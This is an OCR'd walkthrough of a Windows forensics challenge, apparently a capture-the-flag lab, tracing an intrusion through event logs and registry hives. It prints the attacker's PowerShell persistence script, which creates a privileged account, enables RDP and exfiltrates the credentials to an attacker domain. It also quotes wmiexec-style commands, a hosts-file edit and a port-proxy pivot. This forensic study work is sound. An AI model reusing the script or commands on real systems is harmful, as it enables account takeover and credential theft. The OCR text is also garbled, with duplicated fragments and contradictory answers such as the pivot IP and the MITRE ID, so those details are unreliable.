enduring echo

Incident writeup

Scenario: LeStrade passes a disk image artifacts to Watson. It's one of the identified breach
points, now showing abnormal CPU activity and anomalies in process logs.

Windows filesystem & exported event logs (Security.evtx,
System.evtx, PowerShell.evtx), loaded registry hives (SYSTEM, SOFTWARE, SAM,
NTUSER.DAT).

There are many things happening in this task other than just questions asked. There are many
other reg queries and bunch of different connections. But in this write-up/report it's not included.

On 2025-08-24 an attacker established persistence via a scheduled task called
, which executed . The script created a
privileged local account, generated a time-based password, exfiltrated the new credentials to
, and persisted a port proxy that forwarded an external listener to an
internal SSH host. The chain of evidence is supported by the Task XML, the JM.ps1 script,
Security Event ID 4720 (user creation), and the SYSTEM hive PortProxy entries.

. What was the first (non cd) command executed by the attacker on the host?

. Which parent process (full path) spawned the attacker’s commands?

. Which remote-execution tool was most likely used for the attack?

. What was the attacker’s IP address?

. What is the first element in the attacker’s sequence of persistence mechanisms?
. Identify the script executed by the persistence mechanism.

N OO o AW DN -~

. What local account did the attacker create?



8. What domain name did the attacker use for credential exfiltration?
9. What password did the attacker’s script generate for the newly created user?
10. What was the IP address of the internal system the attacker pivoted to?
11. Which TCP port on the victim was forwarded to enable the pivot?
12. What is the full registry path that stores persistent IPv4—I|Pv4 TCP listener-to-target
mappings?
13. What is the MITRE ATT&CK ID associated with the previous technique used by the attacker
to pivot to the internal system?

14. Before the attack, the administrator configured Windows to capture command line details in
the event logs. What command did they run to achieve this?

systeminfo

Answer will be in the file because
Windows logs all process creation events (Event ID 4688) there under the Detailed Tracking
audit policy. With command-line auditing enabled, this is the source of truth for reconstructing
exactly what processes and with what arguments were executed on the host.

| opened the Security hive and filtered for 4688 event and used Find with Werni and | saw
bunch of things like it was connecting to different domain, doing ssh, many reg queries and etc.

Then | found this event with command

| know this is the long method but it gave me gist of the overall things are happening and |
found accountname (Werni) with seeing different logs in the same hive.



More Information:  Event Log Online Help

¥ Filtered: Log: file://C:\Users\ ini \The | ing_Echo\C\ y 2\winevt\logs) ity.evtx; Source: ; Event ID: 4688. Number of events: 2,137
Level Date and Time ’ Source EventID Task Category -
Fe) i 81242008 10E1:00 DAA A 6 \Alind it L pe— v
Event 4688, Microsoft Windows security auditing. x
General Details
A new process has been created. A
Creator Subject:
Security ID: NETWORK SERVICE
Account Name: HEISEN-9-WS-6$
Account Domain: WORKGROUP Find X
Logon ID: Ox3E4
Target Subject: Find what: werni ‘ Find Next
Security ID: NULL SID
Account Name: Werni Cancel
Account Domain: HEISEN-9-WS-6
Logon ID: 0x4373B0
Process Information:
New Process ID: 0x1300
New Process Name: C:\Windows\System32\cmd.exe
Token Elevation Type: TokenElevationTypeDefault (1)
Mandatory Label: Mandatory Label\High Mandatory Level
Creator Process ID: 0xf34
Creator Process Name: C:AWii bem\WmiPrvSE.exe
Process Command Line: cmd.exe /Q /c systeminfo 1> \W127.0.0. NVADMINS\ _1756075857.955773 2>81
LT e D P B s A P U S S i P Iy S i L s PSR L, v
Log Name: Security
Source: Microsoft Windows security : Legged: 8/24/2025 10:51:09 PM
Event ID: 4688 Task Category: Process Creation
Level: Information Keywords: Audit Success
User: N/A Computer: Heisen-9-WS-6
OpCode: Info

> Open Saved Log..
¥ Create Custom View..

Import Custom View..

A

Filter Current Log...

Clear Filter

Properties

Find...

Save Filtered Log File As...
Save Filter to Custom View..
View

Delete

Rename

Refresh

B LX oDEBO

[ Help

Event Properties

E Save Selected Events...
By Copy

|G Refresh

Help

2. Which parent process (full path) spawned the attacker’s
commands? (C:\FOLDER\PATH\FILE.ext)

Answer (short):
C:\Windows\System32\wbem\WmiPrvSE.exe

We just have to look at the parent process in that event



nt 4688, Microsoft Windows security auditing.
sneral Details

) Friendly View O XML View

+ System

- EventData
SubjectUserSid S-1-5-20
SubjectUserName HEISEN-9-WS-6%
SubjectDomainName WORKGROUP
SubjectLogonld 0x3e4
NewProcessld  0x1300
NewProcessName C:\Windows\System32\cmd.exe
TokenElevationType %%1936
Processid 0xf34
CommandLine cmd.exe /Q /c systeminfo 1> \\127.0.0.1\ADMIN$\__1756075857.955773 2>8&1
TargetUserSid  S-1-0-0
TargetUserName Werni
TargetDomainName HEISEN-9-WS-6
TargetLogonld 0x4373b0

ParentProcessName @\l AN S e PAT =V I S 2276

MandatoryLabel S-1-16-12288

(no idea about this, my friend did this)

With EvtxECmd.exe tool to parse the event logs and check for Windows Security Event ID
4688. Why 46887 Because this event allows us to observe the Process Command Line
information.

We viewed the parsed CSV file using Timeline Explorer, then filtered for Event ID 4688 and
searched for "cmd" in the search box. We observed a remote execution process where



WmIiPrvSE.exe spawned cmd.exe to execute remote commands. The first command was "cd",
followed by "systeminfo". Based on this activity, we conclude that the attacker was using the
wmiexec.py tool for remote execution

10.129.242.110

| left this question as | couldn't able to figure out this so when we get answer for Q.8, | thought
about this and since there's a domain, there should be some connectivity in between to thain
and IP address. This was my thought, which is not the correct way to find the answer.

But luckily, | Find for the domain in the Security hive and | can see
the IP address there! Which is, of course, Attacker's IP

Security Number of events: 5,753

Level Date and Time Source Event ID Task Category
(@ Information 8/24/2025 11:00:15 PM Microsoft Windows security a.. 4688 Process Creatio

Event 4688, Microsoft Windows security auditing.

General Details

A new process has been created.

Creator Subject:

Security ID: 5-1-5-21-3871582759-1638593395-315824688- 1002

Account Name: Werni

Account Domain: HEISEN-9-WS-6

Logon ID: 0x4373B0 Find X
= Su?ézztr.iw D NULL SID Find what: NapoleonsBlackPearl.htb Find Next

Account Name: -

Account Domain: -

Logon ID: 0x0
Process Information:

New Process ID: 0x1374

New Process Name: CAWindows\System32\cmd.exe

Token Elevation Type: TokenElevationTypeDefault (1)

Mandatory Label: Mandatory Label\High Mandatory Level

Creator Process ID: 0x150c

Creator Process Name: C:AWindows\System32\cmd.exe
Process Command Line:  cmd /C "echo 10.129.242.110 NapoleonsBlackPearl.htb > > C:\Windows\System 32\drivers\etc\hosts"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Log Name: Security
Source: Microsoft Windows security : Logged: 8/24/2025 11:00:15 PM




Persistence is most commonly established with the scheduled tasks hence, here we have to
look after scheduled tasks. Now, | don't remember the exact path for the scheduled tasks so i
just did the simple google search



scheduled tasks location

<4 Al Overview

Scheduled tasks in Windows are stored as XML files within the c:
\Windows\System32\Tasks folder, with their configurations and
metadata also registered in the Windows Registry under the
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache key. On Linux and

macO$, scheduled jobs (cron jobs) are stored in /var/spool/cron/atjobs. & Where are scheduled tasks stored in an
offline Windows 10 partition/hard drive?

On Windows Jun 13, 2021
(@ Super User

How to find the location of the Scheduled Tasks folder
May 26, 2010

@ Stack Overflow

» File System: The task definitions themselves are stored as XML files in the C:

\Windows\System32\Tasks directory.
., . .. § . Shenanigans of Scheduled Tasks -
+ Registry: Detailed information, including the task's name, configuration, and Logpoint

metadata, is stored in the Windows Registry under these keys: Aug 23, 2024 — User Aclion: The Task

» HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows LI T 27 T L1 F i) (TR 3 e

NT\CurrentVersion\Schedule\TaskCache\Tree for the task's name and ¥ Logpaint
ID.

* HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tasks for the task's metadata
and action details.

On Linux and macOS$S

= File System: Scheduled jobs, known as cron jobs, are stored in the /var/spool/
cronfatjobs/ directory.

How to view them

+ You can view scheduled tasks through the Task Scheduler application in
Windows.

+ To access the files directly, navigate to the C:\Windows\System32\Tasks folder
using File Explorer or Command Prompt.

Dive deeper in Al Mode

Al responsas may include mistakes. Learn maore

Microsoft Learn
hitps/flearmn_microsof.com » en-us » answers » questions

Task Scheduler: c:\Windows\System32\Tasks\ there is no ...

Sep 13, 2021 — Yes, | know that the scheduled tasks are stored in the registry
(HKEY_LOCAL_MACHINEASOFTWAREMicrosoftiWindows NT\CumentVersion\Schedule..) and ...

Stack Overflow
B answers - 15 years ago

How to find the location of the Scheduled Tasks folder

Tasks are stored in 3 locations: 1 file system location and 2 registry locations. File system: C-
Wiindows\System32iTasks

6 answers - Top answer: Tasks are saved in filesystem AND regi

VWhere does Windows store the seitings for Scheduled .

How do | navigate/change the location of my auiomated ...

and we have bunch of information. So, | checked in the C:\Windows\System32\Tasks folder and
| can see a suspicious task named as

Since we have lots of data and every registry hives, we can verify it manually as well just like

we saw in google search and in the stackoverflow.



https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder

» Registry TaskCache:
(LastWrite matches
attack timeframe)

o Task XML on disk: (shows the script)

inspecting registry TaskCache entries in loaded SOFTWARE hive with Registry Explorer

Task registration LastWrite and the script execution events occur before other persistence
artifacts (Run keys, services, etc.), making it the earliest persistence element.

e g e e = = — —— —

OneDrive Standalone Update Task-5-1-5-21-3871582759-1638593395-315824688-1002

3
OneDrive Standalone Update Task-5-1-5-21-3871582759-1638593395-315824688-500 3
OneDrive Startup Task-5-1-5-21-3371582759-1638593395-315824688-1002 3
[T OTTEDTTTE Stal i Teeh o I p-21-38715827559-1638593395-315824688-500 3
b =i SysHelper Update 3
» [~ TaskStateFlags 0
T WP 0
» F= SecEdit 5 Type viewer
» £ Sensor 0
b [T setup 0 Q0000000
b [ SoftwareProtectionPlatform 17 00000020
» [ SPP 0 00000040
¥ = SRUM a
¥ [ Superfetch 3
» £ Swchost 49
b [ SystemRestore 3
¥ [ Terminal Server 0 v
< > Current offset:
[ Key: | Microsoft\Windows NT\CurrentVersion\5chedule\TaskCache\ Tree\SysHelper Update ]
Selected hive: SOFTWARE Last write: 2025-08-24 23:03:50 3 of 3 values shown (100.00%) Copied Value data to clipboard
Values
Value Mame | Value Type |Data
Li 7 | aflc e Aflc
| b | SD RegBinary 01-00-04-80-75-00-00-00-88-00-00-00-00-00-00-00-14-00-00-00-0 2-00-64-00-04-00-00-00-00-10-18-00-5F-01-1F-C
Id RegSz {A9EED675-5006-4DB0-90C 2-33BE409 16040}
Index RegDword 3

we can see ID on the right side and now if we go to
we can see the majority of the details



Key name

v | o

#valies | #subkey

= = A

<

[F= {ADBDGA77-C926-4E78-9ED0-09836E2769AE
[~ {A033AB8B-3031-4924-A045-BO3BOF SOE704}
r; {A2BE2F31-2C60-426C-A2AC-2F9F6952D9 16}
[E= {A2FADBDF-6855-42F7-BDFC-FOC510EDASBC)
[E= {A2FFCESE-7F06-494A-8C34-6EFCAEBO75BE}
[~ {A499FA48-7057-4AC1-9702-44C6FDI24058)
r; {AG60DIECB-AGF4-4FE 1-9BD7-B049487AG 7E 7}
[== {A6759D70-C1D8~4E75-631F-078B05603258}
[F= {A74EFOD1-6D6B-4566-8E25-782430F970E S}

=

e ESnJTe AN 25,

{AAE4AD9B-2A9A-4459-8078-98FAG 26 5AF 7P}
[F= {AB0SB368-13F 7-468A-0B30-E553C06B5449}
[F= {ADF49CS58-7286-4C88-A24A-ESDESCA1TBOF)
{AF73DAAA-53AE-4CC8-8671-BE290886B057)
[F= {AFEESD15-0E83-432F-9DB0-58A2702115E 1}
[F= {BOODCCO7-6E5C-4D27-AF26-CBEB226FF 370}
r; {B2AB7A3E-5548-9D 12-ABFB-DCA72E4188A9}
[ {B5108849-C39A-43DE-AC49-06155873BAES},
= {B7SOF9BA-2477-495C-0AA5-0E0BFBOE 1F63}
[F= {B3A29D58-379D-467C-86F 1-3A2F473C8462)
r; {B97C7632-DD50-4F07-8E4E-F 1450795BF 78}
[ {BA366117-6A44-44F 3-9BAA-09C4ADA110CCY
[F= {BABAAC13-8F0F-4B13-AEFD-D30SF 1735854}
{BAEB8762-68E 5-4008-BOF 5-0C4A00F 18093}
{BAF4B9A8-1B02-9533-8231-TEAST230256E}
[F= {C0467AB3-5004-4E 13-BD2C-8DDF 2ABB80B5}
{COE197F6-2E40-46FD-83DA-BEB704EF 2CES}
[F= {C34E99FC-E9DA45EE-AF9B-77AADOB 1825}
[F= {C3944556-15CF-467E-89E2-29DBFDIECSA)
{C483CE25-81C5-4BEB-AA31-5CADCBCE6692}
[ {C4C11095-C597-4541-B0FF-0FB2C76 1FCo2}
[~ {C5D47392-881C-422A-9BF8-E4916B55CD22)
r; {C660D0735-E9F2-4190-984E-97ADF 1AFFA 16}
[F= {C717453C-9DAC-4023-832C-1F52711C6B21}
[F= {C9ABE41C-5E65-4E52-68AD 47 1BCA3B5715}
[~ {COEC2688-1D36-4AF0-A1EB-2C 1BC3B45509)
r; {CAB76809-EDC0-40D2-ABB8-ADIBEDF4EB8A}
[F= {CADS808D-6975-459-93C6-2CDCBA4018 58}
[~ {CADF1293-5495-426F 8E37-A30F69274AF 4}
r; {CB673CE4-960F-46 2D-AAD7-CDAOCDIFED30}
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D Key: I Microsoft\Windows NT\CurrentVersion\Schedule\ TaskCache\ Tasks\{ ASE60676- 5DD6-4DB0-90C2-83BB40916040)

Colnctod hinims CAETMABE | 1ot

6. Identify the script executed by the persistence mechanism.

0I5 N0 78 MARAT | B af 0

S

(C:\FOLDER\PATH\FILE.ext)

Answer (short):
C:\Users\Werni\Appdata\Local\JM.psl

Since it's a file, we can open it with the editor and look the content inside of it. | opened with

notepad and | can see the script location

Evidence / locations:

value Name [ value Type | Data
L
path Regsz \SysHelper Update:
Hash RegBinary  F181-37-55F7-FF-AD-S8-F- D0-45-61-28-5D D4-82-37
Schema RegDword 65538
Date Regsz 2025-08-24T16:03:50
Author Regsz HELSEN-9-WS-6\Werri
URI RegSz \SysHelper Update:
Triggers RegBinary 17 1-07- 1 D2-5D-50-10-15-DC-01-00-07-08-00-00-00-18-00-FF FF-FF-FF-FF-FF FF FF-38-21
s RegBinary | 03-00-0C 41-00-75-00-74 0072 14 70-00-6F-00-77-00-65-00-72-00-7
Dynamicinfo | RegBinary  03-00-00-00-A4-41-C9-5A-48-15-DC-01-01-D6-77-7E-FD-15-DC-01-00-00-00-00-00-00-00-00-A3-8-55-7F FD-15-DC-01
Type viewer | Binary viewer
Value name IPam
Vaue type  [Regsz
Value \SysHelper Update
Rawvaive  [5C

e Ondisk: C:\Users\Werni\Appdata\Local\Jn.psl (file contents)



'_'I SysHelper Update - Notepad

File Edit Format View Help
<RunoOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>

12 <Idlesettings>

<Duration>PT18M</Duration>

14 <WaitTimeout»PT1H</WaitTimeout>

15 <StoponIdleEnd>true</StoponIdleEnd>

1 <Restartonidle>false</Restartonidle>

j </IdleSettings>

- <AllowstartonDemand>true</AllowstartonDemand>

- <Enabled>true</Enabled>

<Hidden>false</Hidden>

<RunonlyIfIidle>false</RunOnlyIfIdle>

<WakeToRun>false</WakeToRun>

24 <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
25 <Priority>7</Priority>

26 </Settings>

27 <Actions Context="aAuthor">

28 <Exec>

<Command>powershell</Command>
<Arguments>-ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Werni\Appdata\Local\IM.psi</Arguments>
</Exec>
</Actions>
1 <Principals>
35 <Principal id="Author">
3 <UserId»5-1-5-18</UserId>
3 <RunLevel>LeastPrivilege</RunLevel>
38 </Principal>
= </Principals>
= </Task>

. Ln 1, Cal 1 100%  Windc

| just searched for "new account creation event id" and it's 4720. All we have to do is, go to the
Security.evix file and filter for the 4720 event. There's only 5 events and only one events was
occurred on the date of this task. We can clearly see the account name for that event

o Security.evtx Event ID (A user account was created):
o SAM hive: — new RID (another place where we can
find the answer)
« ProfileList entry:
(if profile created it could be here, but
it's not the case in our files, which is strange)

Event 4720 explicitly records account creation with the username



2] Event Viewer (Local)
> 3- Custom Views
» [ Windows Logs

¥ Filtered: Log: file://C:\Users\Administrator\Downloads\ The_Enduring_Echo\C\Windows\System32\winevt\logs\Security.evtx; Source: ; Event ID: 4720, Number

’ :Ei Applications and Services Logs ‘Leve\ Date and Time Source EventID Task
v | lia“’e" Logs (@ Information 8/24/2025 11:05:09 PM Microsoft Windows security a... 4720 User
i ‘::?p"cat'fi"'\'” oo () Information 8/15/2025 9:10:59 PM Microsoft Windows security a.. 4720 User
o M{WSO ﬂ'w‘" dO“E'R “N @ information 4/21/2025 54605 PM Microsoft Windows security a_ 4720 User
icrosoft-Windows-Rem ) ) : . )
H Microsoft-Windows-Rem %Informatfon 4/21/2025 5:46:03 PM Microsoft W{ndcws security a... 4720 User
H Microsoft-Windows-Task Information 4/21/2025 5:42:54 PM Microsoft Windows security a... 4720 User
H Security
bl system Event 4720, Microsoft Windows security auditing.

Id Windows Powershell
H Microsoft-Windows-WM General Details
[-4 Subscriptions

A user account was created.
Subject:
Security IO SYSTEM
Account Name: HEISEN-9-WS-6%
Account Domain: WORKGROUP
Logon ID: Ox3E7
New Account:
Security 1D 5-1-5-21-3871582759- 1638593395-315824688- 1003
Account Name: sve_netupd
Account Domain: HEISEN-9-WS-6
Attributes:
SAM Account Name: sve_netupd
Display Name: <value not set>
LR PP mal Klama A
Log Name: Security
Source: Microsoft Windows security : Logged: 8/24/2025 11:05:09 PM
Event ID: 4720 Task Category: User Account Management
Level: Information Keywords: Audit Success
User: N/A Computer: Heisen-9-WS-6
OpCode: Info

More Information: Event Log Online Help

Key name #values | ¥ subkey

¥ | ac A e
T AIC = )
g ¥ | (default) RegUnknown  00-00-00-00
4 ' C\Users\Administrator\Downloads\The_Enduring_Echo\C\Windows\System32\config\SAM
4= ROOT

47 SAM
4 [~ Domains
47 Account
b [F Aliases
» [F= Groups
4 Users
— 000001F4
- 000001FS
— 000001F7
- 000001FE
- Q00003EA
- 000003EE
[~ Mames
[F= Administrator
[F= DefaultAccount
—Ls

| 5 DODOD3ES
4 [~ Builtin
» £ Aliases
3 r; Groups
» [F= Users
[~ LastSkuUpgrade
= RXACT
v |, Assodated deleted records
= Unassodated deleted values
» “ C:\Users\Administrator\Downloads\The_Enduring_Echo\C\Windows\System32\config\SECURITY
v I C\llsers\AdministratariNDownloads\The Fadurinn Feha\C\Wind \Svstem32\ Fin\SYSTFM

R L = A I L A N A S N A =]




We simply have to open that JM.ps1 file and we can clearly see this domain in that

e JM.ps1 script:
(clear text)

| M.ps1 - Notepad

File Edit Format View Help
# List of potential usernames
$usernames = @("svc_netupd”, "svc_dns", "sys_helper”, "WinTelemetry", "Updatersvc")

# Check for existing user
$existing = $usernames | Where-oObject {
Get-LocalUser -Name $_ -ErrorAction SilentlyContinue

}

# If none exist, create a new one

if (-not $existing) {
$newUser = Get-Random -InputObject $usernames
$timestamp = (Get-Date).ToString("yyyyMMddHHmmss"™)
$password = "Watson_$timestamp”

$securePass = ConvertTo-SecureString $password -AsPlainText -Force

New-LocalUser -Name $newUser -Password $securePass -FullName "Windows Update Helper" -Description "System-managed service
Add-LocalGroupMember -Group "Administrators™ -Member $newUsed
Add-LocalGroupMember -Group "Remote Desktop Users” -Member $newUser

# Enable RDP

Set-ItemProperty -Path "HKLM:\System\CurrentControlset\Control\Terminal Server"” -Mame "fDenyTSConnections” -Value @
Enable-NetFirewallRule -DisplayGroup “"Remote Desktop”

Invoke-WebRequest -Uri "http://NapoleonsBlackPearl.htb/Exchange?data=$([Convert]::ToBase64string([Text.Encoding]::UTF8.Get

o Script defines: where



o Event 4720 ( ) — host local (UTC-7) =
— timestamp

we can use the same event of 4720 since it was account creation time and password is
generating all together which we know from reading the JM.ps1 script and we just have to -7
hours to get the UTC format

] Applications and Services Log

Level Date and Time Source Event I
v A llS;]VEd Lﬁgf‘ _ (@ Information 8/24/2025 11:05:09 PM Microsoft Windows security a... 472
H :‘:'-’P Icat::r\lN‘ d P !\‘ Information 8/15/2025 %10:59 PM Microsoft Windows security a... 472
icrosoft-Windows-Po =
X il [ i) Information 4/21/2025 5:46:05 PM Microsoft Windows security a.. 472
H Microsoft-Windows-Rem|§| — . ) . .
. ’ (i) Information 4/21/2025 5:46:03 PM Microsoft Windows security a... 4721
H Microsoft-Windows-Rem|}| = .
H Microsoft-Windows-Task ) Information 4/21/2025 5:42:54 PM Microsoft Windows security a.. 472
l._-l Security
H System Event 4720, Microsoft Windows security auditing.

H Windows PowerShell
H Microsoft-Windows-WM General Details
24 Subscriptions

Home Urive: <value not set>
Script Path: <value not set>
Profile Path: <value not set>
User Workstations: <value not set>
Password Last Set: <never>
Account Expires: <never:>

Primary Group ID: 513

Allowed To Delegate To:

Old UAC Value: 0x0

New UAC Value: 0x15

User Account Control:
Account Disabled
‘Password Not Required' - Enabled
‘Normal Account' - Enabled

User Parameters: <value not set>

SID History: 4

Logon Hours: All
Log Name: Security
Source: Microsoft Windows secufity . Logged: 8/24/2025 11:05:09 PM
Event ID: 4720 Task Category: User Account Management
Level: Information Keywords: Audit Success
User: N/A Computer: Heisen-9-Ws-6
OpCode: Info

More Information: Event Leg Online Help

So next 4 questions are like same category if we read them. This question is asking for which IP
attacker was pivoted to, next asks for attacked connected on which port and third is asking for
the hive path where this connection gets stored. So logically thinking, we can find this and next
question answer if we find answer of third question.

| just searched third question on google and it gave me answer and link for the proof!


https://gist.github.com/scottmwyant/06853dbfa4e4728b24352e33555da335

What is the full registry path that stores persistent IPvd—IPv4 TCP listener-to-target mapp X

4 Al Overview

The full Windows registry path that stores persistent IPv4 to IPv4 TCP listener-to-
target mappings, which are configured using the netsh interface portproxy X
command, is:

Helpful commands for networ dows -

HKEY_LOCAL_MACHIME\SYSTEM\CurrentControlset\Services\PortProxy\vatova\tcp & GitHub Gist

rules in
Within this path, each port-forwarding entry is stored as a registry key. You can view
these entries using the regedit tool or PowerShell, which provides the contents of
this key.

| just navigate to that path and found where it was pivoted to.

Find
Value Name | Value Type | Data
Key name #values | # subkeys
P — — ~ LB . LB LB .
» (0.0.0.0/9999 RegSz 192,168.1.101/22
b PerfDisk 1}
PerfHost 12
b Perfilet 0
b PerfOS i}
b PerfProc 1}
b PhoneSvc 1
2 PimIndexMaintenanceSve 13
b PimIndexMaintenanceSve_89d8a 7
» PktMon 5
b pla 11
b FlugPlay 13
» pmem [}
PMPMEM [
3 PNRPAUtoReg 11
3 PMRPsvC 11
» PolicyAgent 11
portcfg 5
Fl PortProxy 0
4 watov4 [u]
3 itcp 1
b Power 12
PptpMiniport
b Printhotify 3
b PrintWorkflowUserSvc 10
3 PrintWorkflowUserSve_89dsa 7
Processor 8
» ProfSve 1
» Psched 1
» PushTolnstal 1
pvscsi 1
» £= QWAVE 11
b QWAVEdrv [
b Ramdisk 5 Type viewer Slack viewer Binary viewer
2 RasAcd g Value name |D.D.D.Df9999
RasAgieVpn 7
b RasAuto 1 Value type |RegSz
RasiZtp Y value 192.168.1.101/22
3 RasMan 12
3 RasPppoe 7
RasSstp
rdbss 3 Raw value 31-00-39-00-32-00-2E-00-31-00-35-00-38-00-2E-00-31-00-
RDMAMDEK &3 A
< > Slack Ion-za

Kgy: | ControlSetD0T\Services\PortProxy\wvdtovd\tcp

Selected TTE STSTENT - LOSLWING | CUZ U0 o oo T Tof 1values shown (100.00%) | Cooied Value data to clioboard



o SYSTEM hive portproxy value data shows 192 165 1 1601:22 (value data under
HKLM\SYSTEM\ControlSet00X\Services\PortProxy\vitovi\tcp\0.0.0.0:9999 ).

11. Which TCP port on the victim was forwarded to enable the
pivot? (port 0-65565)

Answer (short):
9999

We can see this in the previous question's answer

12. What is the full registry path that stores persistent
IPv4—IPv4 TCP listener-to-target mappings? (HKLM......)

Answer (short):
HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\vidtovi\tcp

Again same, we can see in the previous question's answer

13. What is the MITRE ATT&CK ID associated with the previous
technique used by the attacker to pivot to the internal system?
(TxxxX.XXX)

Answer (short):
11090001 — Internal Froxy (subtechnique of Proxy T1090).

mindset:
We can use google but we have GPT so why? | just gave a prompt to GPT and it gave me

https://attack.mitre.org/techniques/T1090/001/?utm_source=chatgpt.com


https://attack.mitre.org/techniques/T1090/001/?utm_source=chatgpt.com

### 10. What was the IP address of the internal system the attacker
pivoted to? (IPv4 address)

**Answer (short)**
192.168.1.1681

*mindset:**

So next 4 questions are like same category if we read them. This
question is asking for which |IP attacker was pvoted to, next asks for
attacked connected on which port and third is asking for the hive path
where this connection gets stored. So logically thinking, we can find
this and next question answer if we find answer of third question.

| just searched third question on google and it gave me answer and link
for the proof!

https://gistgithub.com/

scottmwyant/06853dbfaded 728b24352e33555da335

What is the MITRE ATT8CK ID associated with the previous technigue

used by the attacker to pivot to the internal system? (Txooocood

find me technigue and give me link of that MITRE page too

Thought for 10s

Answer: T1090 — Proxy (more specifically T1090.001 — Internal Proxy).
Why: the attacker used Windows port-forwarding / netsh interface portproxy (an internal proxy/port-

forwarding technique) to pivot to the internal host. &=t mmre srace

MITRE ATT&CK pages:

MITRE ATTELCK

If you want, | can add a one-line detection hint you can include in your wrniteup (e.g.. hunt for netsh
interface portproxy registry entries and netsh command execution in process/create events) and cite the

exact registry path where Windows stores portproxy rules.  velocinaptor

Persistent port proxying on the compromised host to forward traffic to an internal host is an

internal proxy technique.




Again just another prompt to GPT and we get the answer and verification steps too

MITRE ATTACK

If you want, | can add a one-line detection hint you can include in your writeup (e.g.. hunt for netsh

interface portproxy registry entries and netsh command execution in process/create events) and cite the

exact registry path where Windows stores portproxy rules. velcimptoe

@6 P LO

Before the attack, the administrator configured Windows to capture
command line details in the event logs. What command did they run to

achieve this? (command)

how can | get this?

Thought for 13s

Short answer — the admin ran two commands (or equivalent GPO changes):
1. Enable Process Creation auditing:

bash ) Copy code

auditpol /set fsubcategory: fsuccess:enable ffailure:enable

(so the OS5 actually generates Event ID 4688).  superises
2. Turn on Include command line in process creation events (this is the ADMX/GPO-backed flag that makes
4688 include the full command line). You can set it from Group Policy, or with a registry change — the
equivalent registry command is:

bash ) Copy code

reg add /v ProcessCreation]

(You can also enable it via GPO: Computer Configuration — Administrative Templates — System — Audit

Process Creation — Include command line in process creation events). Micmsoft Leam
How you can confirm / find what they actually ran (evidence collection):

1. Check the registry value (shows the GPO/registry was set):

bash (¥ Copy code

reg query /v ProcessCreatic




# offline: inspect SOFTWARE hive in Registry Explorer at:

# also verify Process Creation auditing is enabled:

/ /

e registry value

Key name

¥ | Afc

b

3

»F

-

»F

b
3
L3
b
3
3

»F

Find

OptimalLayout
== Parental Controls
PerceptionSimulationExtensions
Personalization
== PhotoPropertyHandler
PlayReady
Polides
ActiveDesktop
Attachments
¢ [~ DataCollection
Explorer
» B Ext
MNonEnum
4 System
Audit
455 UIPT
4 Clipboard
7~ ExceptionFormats
PowerEfficencyDiagnostics
PredsionTouchPad
PreviewHandlers
Privacy
[~ PropertySystem
== Proximity
== PushNotifications
[~ Reliability
== ReserveManager
= RetailDemao
= Run
RunOnce
SecondaryAuthFactor
SecureAssessment

» Security and Maintenance

SettingSync

Key: | Microsoft\Windows'\CurrentVersion'Policies\System\Audit

XML RegistrationInfo)

created (Security 4720).

— Script exfiltrated

Value Name Value Type Data
#values | # subkeys v | @ e o0c
= i = b ProcessCreationIndudeCmdLine_Enabled : RegDwerd 1
1]
4
1
1]
1]
o
z
1
2
4
1]
3
22
1
a
Q
7
1
5
12
1
£
a
1
2
8
1]
2
a
o
3
0 Type viewer Binary viewer
5 v Value name FrocessCreationIndudeCmdLine_Enabled
’ Value tune IR ennmnrd

— Scheduled task registered. (Task

— PowerShell executed X account

to



— PortProxy mapping — stored in
SYSTEM hive.

Scheduled task:

Task XML path:

Script path:

Attacker user created:

Generated password pattern: (example:

)

Exfil domain:

PortProxy mapping (victim—target): —

Registry path:

Security events: 4720 (User Created), 4688 (Process Creation).

MITRE: (Internal Proxy), scheduled task persistence = T1053.



